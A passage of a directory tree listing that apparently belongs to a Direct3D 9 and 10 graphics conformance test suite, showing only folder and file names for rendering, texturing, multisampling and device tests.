    │               │   │   │   │   Frequency.cpp
    │               │   │   │   │   Frequency.h
    │               │   │   │   │   kitContent.kml
    │               │   │   │   │   MarkerValidation.cpp
    │               │   │   │   │   MarkerValidation.h
    │               │   │   │   │   MultipleEngine.cpp
    │               │   │   │   │   MultipleEngine.h
    │               │   │   │   │   p.bat
    │               │   │   │   │   PState.cpp
    │               │   │   │   │   PState.h
    │               │   │   │   │   RedBlue.cpp
    │               │   │   │   │   RedBlue.h
    │               │   │   │   │   sources
    │               │   │   │   │   Teapots.cpp
    │               │   │   │   │   Teapots.h
    │               │   │   │   │   TimingData.cpp
    │               │   │   │   │   TimingData.h
    │               │   │   │   │   TimingData.rc
    │               │   │   │   │   
    │               │   │   │   └───TimingData
    │               │   │   │           TimingData.sln
    │               │   │   │           TimingData.vcxproj
    │               │   │   │           TimingData.vcxproj.filters
    │               │   │   │           
    │               │   │   ├───Viewports
    │               │   │   │       BadIndex.cpp
    │               │   │   │       BadIndex.h
    │               │   │   │       gs.gsh
    │               │   │   │       gs_wIndex.gsh
    │               │   │   │       gs_wIndexChange.gsh
    │               │   │   │       kitContent.kml
    │               │   │   │       MultiScissor.cpp
    │               │   │   │       MultiScissor.h
    │               │   │   │       MultiView.cpp
    │               │   │   │       MultiView.h
    │               │   │   │       NoIndex.cpp
    │               │   │   │       NoIndex.h
    │               │   │   │       Overlapping.cpp
    │               │   │   │       Overlapping.h
    │               │   │   │       ps.psh
    │               │   │   │       ps_wIndex.psh
    │               │   │   │       ScaleScissor.cpp
    │               │   │   │       ScaleScissor.h
    │               │   │   │       ScaleView.cpp
    │               │   │   │       ScaleView.h
    │               │   │   │       ScissorPosition.cpp
    │               │   │   │       ScissorPosition.h
    │               │   │   │       sources
    │               │   │   │       SplitStrip.cpp
    │               │   │   │       SplitStrip.h
    │               │   │   │       SubScissor.cpp
    │               │   │   │       SubScissor.h
    │               │   │   │       ViewPorts.cpp
    │               │   │   │       ViewPorts.h
    │               │   │   │       Viewports.razzle.vcproj
    │               │   │   │       Viewports.rc
    │               │   │   │       ViewScissorDefines.h
    │               │   │   │       vs.vsh
    │               │   │   │       vs_wIndex.vsh
    │               │   │   │       
    │               │   │   ├───WGFMultisample
    │               │   │   │   │   centroid.cpp
    │               │   │   │   │   centroid.h
    │               │   │   │   │   coverage.cpp
    │               │   │   │   │   coverage.h
    │               │   │   │   │   depth.cpp
    │               │   │   │   │   depth.h
    │               │   │   │   │   dirs
    │               │   │   │   │   fill.cpp
    │               │   │   │   │   fill.h
    │               │   │   │   │   FillLine.cpp
    │               │   │   │   │   FillLine.h
    │               │   │   │   │   gs_array.gsh
    │               │   │   │   │   mask.cpp
    │               │   │   │   │   mask.h
    │               │   │   │   │   multisample.cpp
    │               │   │   │   │   multisample.h
    │               │   │   │   │   multisample.rc
    │               │   │   │   │   occlusion.cpp
    │               │   │   │   │   occlusion.h
    │               │   │   │   │   PixelResult.cpp
    │               │   │   │   │   PixelResult.h
    │               │   │   │   │   present.psh
    │               │   │   │   │   ps.psh
    │               │   │   │   │   ps_centroid_off.psh
    │               │   │   │   │   ps_centroid_on.psh
    │               │   │   │   │   ps_coverage.psh
    │               │   │   │   │   ps_input_coverage.psh
    │               │   │   │   │   ps_odepth.psh
    │               │   │   │   │   resolve.cpp
    │               │   │   │   │   resolve.h
    │               │   │   │   │   samples.cpp
    │               │   │   │   │   samples.h
    │               │   │   │   │   Scenario.cpp
    │               │   │   │   │   Scenario.h
    │               │   │   │   │   vs.vsh
    │               │   │   │   │   WGFMultisample.2k5.sln
    │               │   │   │   │   WGFMultisample.2k5.vcproj
    │               │   │   │   │   WGFMultisample.razzle.2k5.vcproj
    │               │   │   │   │   WGFMultisample.razzle.vcproj
    │               │   │   │   │   WGFMultisample.sln
    │               │   │   │   │   WGFMultisample.vcproj
    │               │   │   │   │   white.dds
    │               │   │   │   │   
    │               │   │   │   ├───Fill
    │               │   │   │   │       FillTest.cpp
    │               │   │   │   │       kitContent.kml
    │               │   │   │   │       sources
    │               │   │   │   │       
    │               │   │   │   └───Multisample
    │               │   │   │           kitContent.kml
    │               │   │   │           sources
    │               │   │   │           WGFMultisample.cpp
    │               │   │   │           
    │               │   │   └───WGFRasterizer
    │               │   │           cullmode.cpp
    │               │   │           cullmode.h
    │               │   │           fillmode.cpp
    │               │   │           fillmode.h
    │               │   │           forcedsamplecount.cpp
    │               │   │           forcedsamplecount.h
    │               │   │           interpolator.cpp
    │               │   │           interpolator.h
    │               │   │           kitContent.kml
    │               │   │           pullModel.cpp
    │               │   │           pullModel.h
    │               │   │           rasterizer.cpp
    │               │   │           rasterizer.h
    │               │   │           rasterizer.rc
    │               │   │           sources
    │               │   │           state.cpp
    │               │   │           state.h
    │               │   │           WGFRasterizer.2k5.razzle.vcproj
    │               │   │           
    │               │   └───D3D10Level9
    │               │       └───CreateDevice
    │               │               create.cpp
    │               │               create.h
    │               │               create.vcproj
    │               │               kitContent.kml
    │               │               master.txt
    │               │               res.rc
    │               │               sources
    │               │               testapp.cpp
    │               │               testapp.h
    │               │               
    │               ├───D3D9
    │               │   ├───Common
    │               │   │   │   Common.mk
    │               │   │   │   dirs
    │               │   │   │   
    │               │   │   ├───CPControl
    │               │   │   │       AuthHelper.cpp
    │               │   │   │       AuthHelper.h
    │               │   │   │       CertHelper.cpp
    │               │   │   │       CertHelper.h
    │               │   │   │       CPControl.cpp
    │               │   │   │       CPControl.h
    │               │   │   │       CryptHlp.cpp
    │               │   │   │       CryptHlp.h
    │               │   │   │       IntelKeyExchange.h
    │               │   │   │       OPMControl.cpp
    │               │   │   │       OPMControl.h
    │               │   │   │       OPMUtil.cpp
    │               │   │   │       OPMUtil.h
    │               │   │   │       rsa32GenRandom.c
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───CResFile
    │               │   │   │       CResFile.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───CShapes
    │               │   │   │       boid.cpp
    │               │   │   │       box.cpp
    │               │   │   │       cone.cpp
    │               │   │   │       cshapes.cpp
    │               │   │   │       cshapesfvf.cpp
    │               │   │   │       cshapespch.h
    │               │   │   │       cylinder.cpp
    │               │   │   │       icosohedron.cpp
    │               │   │   │       mesh.cpp
    │               │   │   │       pyramid.cpp
    │               │   │   │       sources
    │               │   │   │       sphere.cpp
    │               │   │   │       teapot.cpp
    │               │   │   │       
    │               │   │   ├───CSpline
    │               │   │   │       CSpline.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───CStateCascade
    │               │   │   │       CStateCascade.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───FlagCombinations
    │               │   │   │       CFlagCombinations.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───FPState
    │               │   │   │       FPState.cpp
    │               │   │   │       FPState.def
    │               │   │   │       FPState.rc
    │               │   │   │       kitContent.kml
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───Include
    │               │   │   │       CFlags.h
    │               │   │   │       CResFile.h
    │               │   │   │       CShaderDebugger.h
    │               │   │   │       CShapes.h
    │               │   │   │       CShapesFVF.h
    │               │   │   │       CSpline.h
    │               │   │   │       CStateCascade.h
    │               │   │   │       FPState.h
    │               │   │   │       MaxWinModeShim.h
    │               │   │   │       Parser.h
    │               │   │   │       RNumber.h
    │               │   │   │       TestHelpers.h
    │               │   │   │       TestShapes.h
    │               │   │   │       Types.h
    │               │   │   │       
    │               │   │   ├───MaxWinModeShim
    │               │   │   │       MaxWinModeShim.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   ├───RNumber
    │               │   │   │       RNumber.cpp
    │               │   │   │       sources
    │               │   │   │       
    │               │   │   └───TestShapes
    │               │   │           fanball.cpp
    │               │   │           fanhorn.cpp
    │               │   │           lines.cpp
    │               │   │           pointgrid.cpp
    │               │   │           randomtriangles.cpp
    │               │   │           sources
    │               │   │           testshapes.cpp
    │               │   │           testshapes.dsw
    │               │   │           testshapespch.h
    │               │   │           trithing.cpp
    │               │   │           wavestrip.cpp
    │               │   │           
    │               │   └───d3d
    │               │       └───conf
    │               │           │   conf.mk
    │               │           │   dirs
    │               │           │   
    │               │           ├───address
    │               │           │   │   address.cpp
    │               │           │   │   address.h
    │               │           │   │   address.rc
    │               │           │   │   border.cpp
    │               │           │   │   clamp.cpp
    │               │           │   │   drawmesh.cpp
    │               │           │   │   independentuv.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   mirror.cpp
    │               │           │   │   mirroronce.cpp
    │               │           │   │   wrap.cpp
    │               │           │   │   wrapu.cpp
    │               │           │   │   wrapuv.cpp
    │               │           │   │   wrapv.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───agp
    │               │           │       agp.cpp
    │               │           │       agp.h
    │               │           │       agp.rc
    │               │           │       drawgrid.cpp
    │               │           │       kitContent.kml
    │               │           │       sources
    │               │           │       texsize.cpp
    │               │           │       
    │               │           ├───alphabld
    │               │           │   │   alphabld.cpp
    │               │           │   │   alphabld.h
    │               │           │   │   alphabld.rc
    │               │           │   │   blendfactor.cpp
    │               │           │   │   both.cpp
    │               │           │   │   destalpha.cpp
    │               │           │   │   destcolor.cpp
    │               │           │   │   draw.cpp
    │               │           │   │   false.cpp
    │               │           │   │   invblendfactor.cpp
    │               │           │   │   invdestalpha.cpp
    │               │           │   │   invdestcolor.cpp
    │               │           │   │   invsrcalpha.cpp
    │               │           │   │   invsrccolor.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   one.cpp
    │               │           │   │   srcalpha.cpp
    │               │           │   │   srcalphasat.cpp
    │               │           │   │   srccolor.cpp
    │               │           │   │   swapeffect.cpp
    │               │           │   │   zero.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───alphacmp
    │               │           │       alphacmp.cpp
    │               │           │       alphacmp.h
    │               │           │       alphacmp.rc
    │               │           │       always.cpp
    │               │           │       draw.cpp
    │               │           │       equal.cpp
    │               │           │       greater.cpp
    │               │           │       kitContent.kml
    │               │           │       less.cpp
    │               │           │       sources
    │               │           │       
    │               │           ├───alphaprecision
    │               │           │   │   alphafloatrt.cpp
    │               │           │   │   alphafloatrt.h
    │               │           │   │   alphaprecision.cpp
    │               │           │   │   alphaprecision.h
    │               │           │   │   alphaprecision.rc
    │               │           │   │   alphaprecision.vcproj
    │               │           │   │   kitContent.kml
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───anisotropic
    │               │           │   │   anisotropic.cpp
    │               │           │   │   anisotropic.h
    │               │           │   │   anisotropic.rc
    │               │           │   │   drawing.cpp
    │               │           │   │   hifreq.bmp
    │               │           │   │   kitContent.kml
    │               │           │   │   minmag.cpp
    │               │           │   │   resource.h
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───basicrst
    │               │           │       basicrst.cpp
    │               │           │       basicrst.h
    │               │           │       basicrst.rc
    │               │           │       basicrst.vssscc
    │               │           │       colorwrite.cpp
    │               │           │       culling.cpp
    │               │           │       dither.cpp
    │               │           │       fill.cpp
    │               │           │       kitContent.kml
    │               │           │       meshd3d.cpp
    │               │           │       meshl.cpp
    │               │           │       meshtl.cpp
    │               │           │       nodiffuse.cpp
    │               │           │       shading.cpp
    │               │           │       sources
    │               │           │       zwrite.cpp
    │               │           │       
    │               │           ├───BasicTex
    │               │           │   │   AGP.cpp
    │               │           │   │   BasicTex.cpp
    │               │           │   │   BasicTex.h
    │               │           │   │   BasicTex.rc
    │               │           │   │   Main.cpp
    │               │           │   │   Mapping.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───blend
    │               │           │       add.cpp
    │               │           │       blend.cpp
    │               │           │       blend.h
    │               │           │       blend.rc
    │               │           │       decal.cpp
    │               │           │       default.cpp
    │               │           │       draw.cpp
    │               │           │       kitContent.kml
    │               │           │       modulate.cpp
    │               │           │       sources
    │               │           │       
    │               │           ├───bltqueue
    │               │           │       bltqueue.cpp
    │               │           │       bltqueue.h
    │               │           │       bltqueue.rc
    │               │           │       dx.bmp
    │               │           │       kitContent.kml
    │               │           │       sources
    │               │           │       
    │               │           ├───bump
    │               │           │   │   address.cpp
    │               │           │   │   blend.cpp
    │               │           │   │   bump.cpp
    │               │           │   │   bump.h
    │               │           │   │   bump.rc
    │               │           │   │   kitContent.kml
    │               │           │   │   matrix.cpp
    │               │           │   │   mix.cpp
    │               │           │   │   offset.cpp
    │               │           │   │   scale.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───capscheck
    │               │           │       BitMasks.h
    │               │           │       capscheck.cpp
    │               │           │       capscheck.h
    │               │           │       capscheck.rc
    │               │           │       capscheck.vcproj
    │               │           │       capscheck.vcproj.vspscc
    │               │           │       CapStructs.h
    │               │           │       consistency.cpp
    │               │           │       kitContent.kml
    │               │           │       required.cpp
    │               │           │       sources
    │               │           │       versionmatch.cpp
    │               │           │       
    │               │           ├───clear
    │               │           │   │   clear.cpp
    │               │           │   │   clear.h
    │               │           │   │   clear.rc
    │               │           │   │   derivedclasses.cpp
    │               │           │   │   describe.cpp
    │               │           │   │   helper_fns.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───colorfill
    │               │           │   │   auxiliary.cpp
    │               │           │   │   auxiliary.h
    │               │           │   │   colorfilltest.cpp
    │               │           │   │   colorfilltest.h
    │               │           │   │   colorfilltest.rc
    │               │           │   │   colorfilltestmain.cpp
    │               │           │   │   colorfilltestmain.h
    │               │           │   │   colors.cpp
    │               │           │   │   colors.h
    │               │           │   │   dims.cpp
    │               │           │   │   dims.h
    │               │           │   │   dxfmt.cpp
    │               │           │   │   dxfmt.h
    │               │           │   │   dxmultisample.cpp
    │               │           │   │   dxmultisample.h
    │               │           │   │   dxpool.cpp
    │               │           │   │   dxpool.h
    │               │           │   │   dxusage.cpp
    │               │           │   │   dxusage.h
    │               │           │   │   kitContent.kml
    │               │           │   │   lake.bmp
    │               │           │   │   rects.cpp
    │               │           │   │   rects.h
    │               │           │   │   resource.h
    │               │           │   │   surfacetypes.cpp
    │               │           │   │   surfacetypes.h
    │               │           │   │   tex.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───colorkey
    │               │           │       colorkey.cpp
    │               │           │       colorkey.h
    │               │           │       colorkey.rc
    │               │           │       drawmesh.cpp
    │               │           │       kitContent.kml
    │               │           │       sources
    │               │           │       testcolors.cpp
    │               │           │       
    │               │           ├───compress
    │               │           │   │   compress.cpp
    │               │           │   │   compress.h
    │               │           │   │   compress.rc
    │               │           │   │   drawgrid.cpp
    │               │           │   │   dxtn.cpp
    │               │           │   │   dxtsize.cpp
    │               │           │   │   dxtsize.h
    │               │           │   │   kitContent.kml
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───contextswitcher
    │               │           │       contextswitcher.cpp
    │               │           │       contextswitcher.h
    │               │           │       contextswitcher.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───copyrects
    │               │           │       ccopyrects.cpp
    │               │           │       ccopyrects.h
    │               │           │       ccopyrects.rc
    │               │           │       dims.cpp
    │               │           │       dims.h
    │               │           │       dx8fmt.cpp
    │               │           │       dx8fmt.h
    │               │           │       dx8multisample.cpp
    │               │           │       dx8multisample.h
    │               │           │       dx8pool.cpp
    │               │           │       dx8pool.h
    │               │           │       dx8usage.cpp
    │               │           │       dx8usage.h
    │               │           │       kitContent.kml
    │               │           │       lake.bmp
    │               │           │       main.cpp
    │               │           │       rectsets.cpp
    │               │           │       rectsets.h
    │               │           │       resource.h
    │               │           │       sources
    │               │           │       tex.bmp
    │               │           │       
    │               │           ├───CrossProcShare
    │               │           │   │   CrossProcShareTest.rc
    │               │           │   │   dirs
    │               │           │   │   sources.inc
    │               │           │   │   
    │               │           │   ├───CrossProcShare
    │               │           │   │       CrossProcShare_Conf.cpp
    │               │           │   │       CrossProcShare_Conf.h
    │               │           │   │       CrossProcShare_IV.cpp
    │               │           │   │       CrossProcShare_IV.h
    │               │           │   │       EXEEntryPoint.cpp
    │               │           │   │       kitContent.kml
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───CrossProcShare_Lib
    │               │           │   │       Communication.cpp
    │               │           │   │       Communication.h
    │               │           │   │       CrossProcShareTest.cpp
    │               │           │   │       CrossProcShareTest.h
    │               │           │   │       CrossProcShareTestUtility.cpp
    │               │           │   │       CrossProcShareTest_Client.cpp
    │               │           │   │       Enumresource.cpp
    │               │           │   │       Enumresource.h
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   └───CrossProcShare_Pro
    │               │           │           EXEEntryPoint.cpp
    │               │           │           ProtectedProcess.cpp
    │               │           │           ProtectedProcess.h
    │               │           │           sources
    │               │           │           
    │               │           ├───cubemap
    │               │           │       blend.cpp
    │               │           │       cubemap.cpp
    │               │           │       cubemap.h
    │               │           │       cubemap.rc
    │               │           │       draw.cpp
    │               │           │       filter.cpp
    │               │           │       kitContent.kml
    │               │           │       mipmap.cpp
    │               │           │       sources
    │               │           │       texgen.cpp
    │               │           │       texture.cpp
    │               │           │       
    │               │           ├───d3dquery
    │               │           │   │   ctestptr.cpp
    │               │           │   │   ctestptr.h
    │               │           │   │   kitContent.kml
    │               │           │   │   query.cpp
    │               │           │   │   query.rc
    │               │           │   │   resource.h
    │               │           │   │   speech.bmp
    │               │           │   │   utils.h
    │               │           │   │   Windows8bit.bmp
    │               │           │   │   windows_logo.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───depthstencilreadback
    │               │           │       depthstencilreadback.cpp
    │               │           │       depthstencilreadback.h
    │               │           │       depthstencilreadback.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───displacementmapping
    │               │           │       addressmodes.cpp
    │               │           │       biastest.cpp
    │               │           │       default.cpp
    │               │           │       displacementmapping.cpp
    │               │           │       displacementmapping.h
    │               │           │       displacementmapping.rc
    │               │           │       kitContent.kml
    │               │           │       maxmipleveltest.cpp
    │               │           │       mipmaptest.cpp
    │               │           │       sources
    │               │           │       tex0.bmp
    │               │           │       tex1.bmp
    │               │           │       
    │               │           ├───DynamicResources
    │               │           │   │   dx5_logo.bmp
    │               │           │   │   dx8decl.h
    │               │           │   │   DynamicResources.rc
    │               │           │   │   DynamicTexture.cpp
    │               │           │   │   DynamicTexture.h
    │               │           │   │   DynamicVB.cpp
    │               │           │   │   DynamicVB.h
    │               │           │   │   EntryPoint.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   StaticDynamicVB.cpp
    │               │           │   │   StaticDynamicVB.h
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───fillmode
    │               │           │   │   fillmode.cpp
    │               │           │   │   fillmode.h
    │               │           │   │   fillmode.rc
    │               │           │   │   kitContent.kml
    │               │           │   │   line.cpp
    │               │           │   │   path.cpp
    │               │           │   │   path.h
    │               │           │   │   point.cpp
    │               │           │   │   solid.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───filter
    │               │           │   │   filter.cpp
    │               │           │   │   filter.h
    │               │           │   │   filter.rc
    │               │           │   │   filter.vcproj
    │               │           │   │   FloatFilter.cpp
    │               │           │   │   FloatTex.fx
    │               │           │   │   GaussianFilter.cpp
    │               │           │   │   Grid128.bmp
    │               │           │   │   Grid128BW.bmp
    │               │           │   │   Grid32.bmp
    │               │           │   │   Grid32bw.bmp
    │               │           │   │   Grid64.bmp
    │               │           │   │   Grid64bw.bmp
    │               │           │   │   kitContent.kml
    │               │           │   │   LinearFilter.cpp
    │               │           │   │   pointfilter.cpp
    │               │           │   │   PyramidalFilter.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───fog
    │               │           │   │   fog.cpp
    │               │           │   │   fog.h
    │               │           │   │   fog.rc
    │               │           │   │   kitContent.kml
    │               │           │   │   table.cpp
    │               │           │   │   vertex.cpp
    │               │           │   │   w.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───gammacorrect
    │               │           │   │   default.cpp
    │               │           │   │   gammacorrect.cpp
    │               │           │   │   gammacorrect.h
    │               │           │   │   gammacorrect.rc
    │               │           │   │   generatetextures.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   tex0.bmp
    │               │           │   │   tex1.bmp
    │               │           │   │   tex2.bmp
    │               │           │   │   tex3.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───gammarmp
    │               │           │   │   afxres.h
    │               │           │   │   d3dalias.h
    │               │           │   │   dirs
    │               │           │   │   dxfmt.cpp
    │               │           │   │   dxfmt.h
    │               │           │   │   gammarmp.rc
    │               │           │   │   gammatst.bmp
    │               │           │   │   main.cpp
    │               │           │   │   resource.h
    │               │           │   │   
    │               │           │   ├───gammarmp8
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   └───gammarmp9
    │               │           │           sources
    │               │           │           
    │               │           ├───getadapteridentifier
    │               │           │       getadapteridentifier.cpp
    │               │           │       getadapteridentifier.rc
    │               │           │       getadapteridentifiermain.cpp
    │               │           │       getadapteridentifiermain.h
    │               │           │       sources
    │               │           │       
    │               │           ├───getdc
    │               │           │   │   casesmanager.cpp
    │               │           │   │   casesmanager.h
    │               │           │   │   getdc.cpp
    │               │           │   │   getdc.h
    │               │           │   │   getdc.rc
    │               │           │   │   getdc.sln
    │               │           │   │   getdc.vcproj
    │               │           │   │   getdctests.cpp
    │               │           │   │   getdcutilities.cpp
    │               │           │   │   getdcvalidate.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───getrendertargetdata
    │               │           │       backbuffer.cpp
    │               │           │       backbuffercubetexture.cpp
    │               │           │       backbuffertexture.cpp
    │               │           │       blue.bmp
    │               │           │       cubetexturecubetexture.cpp
    │               │           │       cubetexturesurface.cpp
    │               │           │       cubetexturetexture.cpp
    │               │           │       d3dnodes.cpp
    │               │           │       d3dnodes.h
    │               │           │       earthbump.bmp
    │               │           │       getrendertargetdata.cpp
    │               │           │       getrendertargetdata.h
    │               │           │       getrendertargetdata.rc
    │               │           │       kitContent.kml
    │               │           │       oddballs.cpp
    │               │           │       parameters.cpp
    │               │           │       parameters.h
    │               │           │       rendertarget.cpp
    │               │           │       rendertargetcubetexture.cpp
    │               │           │       rendertargettexture.cpp
    │               │           │       resource.h
    │               │           │       sources
    │               │           │       texturecubetexture.cpp
    │               │           │       texturesurface.cpp
    │               │           │       texturetexture.cpp
    │               │           │       utils.h
    │               │           │       
    │               │           ├───gradient
    │               │           │       drawgrid.cpp
    │               │           │       gradient.cpp
    │               │           │       gradient.h
    │               │           │       gradient.rc
    │               │           │       kitContent.kml
    │               │           │       sources
    │               │           │       texsize.cpp
    │               │           │       
    │               │           ├───hosurf
    │               │           │       hosurf.cpp
    │               │           │       hosurf.h
    │               │           │       hosurf.rc
    │               │           │       hosurf.sln
    │               │           │       hosurf.vcproj
    │               │           │       kitContent.kml
    │               │           │       main.cpp
    │               │           │       npatch.cpp
    │               │           │       rectsurf.cpp
    │               │           │       sources
    │               │           │       tex0.bmp
    │               │           │       tex1.bmp
    │               │           │       trisurf.cpp
    │               │           │       
    │               │           ├───lightmap
    │               │           │   │   global.h
    │               │           │   │   kitContent.kml
    │               │           │   │   lightmap.cpp
    │               │           │   │   lightmap.h
    │               │           │   │   lightmap.rc
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───lines
    │               │           │   │   basictest.cpp
    │               │           │   │   default.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   lines.cpp
    │               │           │   │   lines.h
    │               │           │   │   lines.rc
    │               │           │   │   multitextest.cpp
    │               │           │   │   pfogtest.cpp
    │               │           │   │   tex0.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───lockdepth
    │               │           │   │   kitContent.kml
    │               │           │   │   lockdepth.cpp
    │               │           │   │   lockdepth.h
    │               │           │   │   lockdepth.rc
    │               │           │   │   perlinnoise.cpp
    │               │           │   │   perlinnoise.h
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───LongFonts
    │               │           │       kitContent.kml
    │               │           │       longfonts.cpp
    │               │           │       longfonts.h
    │               │           │       longfonts.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───lostdev
    │               │           │   │   casesmanager.cpp
    │               │           │   │   casesmanager.h
    │               │           │   │   kitContent.kml
    │               │           │   │   lostbasetexture.cpp
    │               │           │   │   lostcubetexture.cpp
    │               │           │   │   lostdepthstencil.cpp
    │               │           │   │   lostdev.cpp
    │               │           │   │   lostdev.h
    │               │           │   │   lostdev.rc
    │               │           │   │   lostdev.sln
    │               │           │   │   lostdev.vcproj
    │               │           │   │   lostdevcases.cpp
    │               │           │   │   lostdevutility.cpp
    │               │           │   │   lostimagesurface.cpp
    │               │           │   │   lostoffscreenplainsurface.cpp
    │               │           │   │   lostrendertarget.cpp
    │               │           │   │   loststateblock.cpp
    │               │           │   │   lostsurface.cpp
    │               │           │   │   losttexture.cpp
    │               │           │   │   lostvertexbuffer.cpp
    │               │           │   │   lostvolumetexture.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───luminance
    │               │           │       address.cpp
    │               │           │       luminance.cpp
    │               │           │       luminance.h
    │               │           │       luminance.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───mapping
    │               │           │   │   drawing.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   linear.cpp
    │               │           │   │   mapping.cpp
    │               │           │   │   mapping.h
    │               │           │   │   mapping.rc
    │               │           │   │   point.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───memchecker
    │               │           │       kitContent.kml
    │               │           │       memchecker.cpp
    │               │           │       memchecker.h
    │               │           │       resource.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───MemPressureReport
    │               │           │       Makefile
    │               │           │       MemPressureReport.cpp
    │               │           │       MemPressureReport.hpp
    │               │           │       MemPressureReport.rc
    │               │           │       MemPressureReport.vcproj
    │               │           │       sources
    │               │           │       Test.cpp
    │               │           │       Test.hpp
    │               │           │       
    │               │           ├───mipfilter
    │               │           │   │   drawgrid.cpp
    │               │           │   │   full.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   maxbias.cpp
    │               │           │   │   min.cpp
    │               │           │   │   mipfilter.cpp
    │               │           │   │   mipfilter.h
    │               │           │   │   mipfilter.rc
    │               │           │   │   nonsquare.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───mipgen
    │               │           │   │   kitContent.kml
    │               │           │   │   mipgen.cpp
    │               │           │   │   mipgen.h
    │               │           │   │   mipgen.rc
    │               │           │   │   mipgen.sln
    │               │           │   │   mipgen.vcproj
    │               │           │   │   MipGen.vcproj.vspscc
    │               │           │   │   mipgenemulation.cpp
    │               │           │   │   mipgenemulationcubetex.cpp
    │               │           │   │   mipgenemulationtex.cpp
    │               │           │   │   mipgenhardware.cpp
    │               │           │   │   mipgenhardwarecubetex.cpp
    │               │           │   │   mipgenhardwaretex.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───ModeEnumeration
    │               │           │       ModeEnumeration.cpp
    │               │           │       ModeEnumeration.hpp
    │               │           │       ModeEnumeration.rc
    │               │           │       ModeEnumeration.sln
    │               │           │       ModeEnumeration.vcproj
    │               │           │       sources
    │               │           │       Tests.cpp
    │               │           │       Tests.hpp
    │               │           │       
    │               │           ├───mrt
    │               │           │   │   blend.cpp
    │               │           │   │   colorwrite.cpp
    │               │           │   │   describe.cpp
    │               │           │   │   draw.cpp
    │               │           │   │   fog.cpp
    │               │           │   │   invalid.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   metex.cpp
    │               │           │   │   mrt.cpp
    │               │           │   │   mrt.h
    │               │           │   │   mrt.rc
    │               │           │   │   texture.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───multihead
    │               │           │       cmultihead.cpp
    │               │           │       cmultihead.h
    │               │           │       cmultiheadconf.cpp
    │               │           │       cmultiheadconf.h
    │               │           │       kitContent.kml
    │               │           │       multihead.rc
    │               │           │       multihead.vcproj
    │               │           │       resource.h
    │               │           │       sources
    │               │           │       Utility.h
    │               │           │       wave.bmp
    │               │           │       
    │               │           ├───multisample
    │               │           │   │   Centroid.bmp
    │               │           │   │   Centroid.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   Mask.cpp
    │               │           │   │   multisample.cpp
    │               │           │   │   multisample.h
    │               │           │   │   multisample.rc
    │               │           │   │   multisample.sln
    │               │           │   │   multisample.vcproj
    │               │           │   │   Multisample.vcproj.vspscc
    │               │           │   │   Points.cpp
    │               │           │   │   Samples.cpp
    │               │           │   │   Toggle.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───multi_swapchain
    │               │           │   │   cbase3dobject.cpp
    │               │           │   │   cbase3dobject.h
    │               │           │   │   kitContent.kml
    │               │           │   │   metal.bmp
    │               │           │   │   multi_swapchain.cpp
    │               │           │   │   multi_swapchain.h
    │               │           │   │   multi_swapchain.rc
    │               │           │   │   texture11.bmp
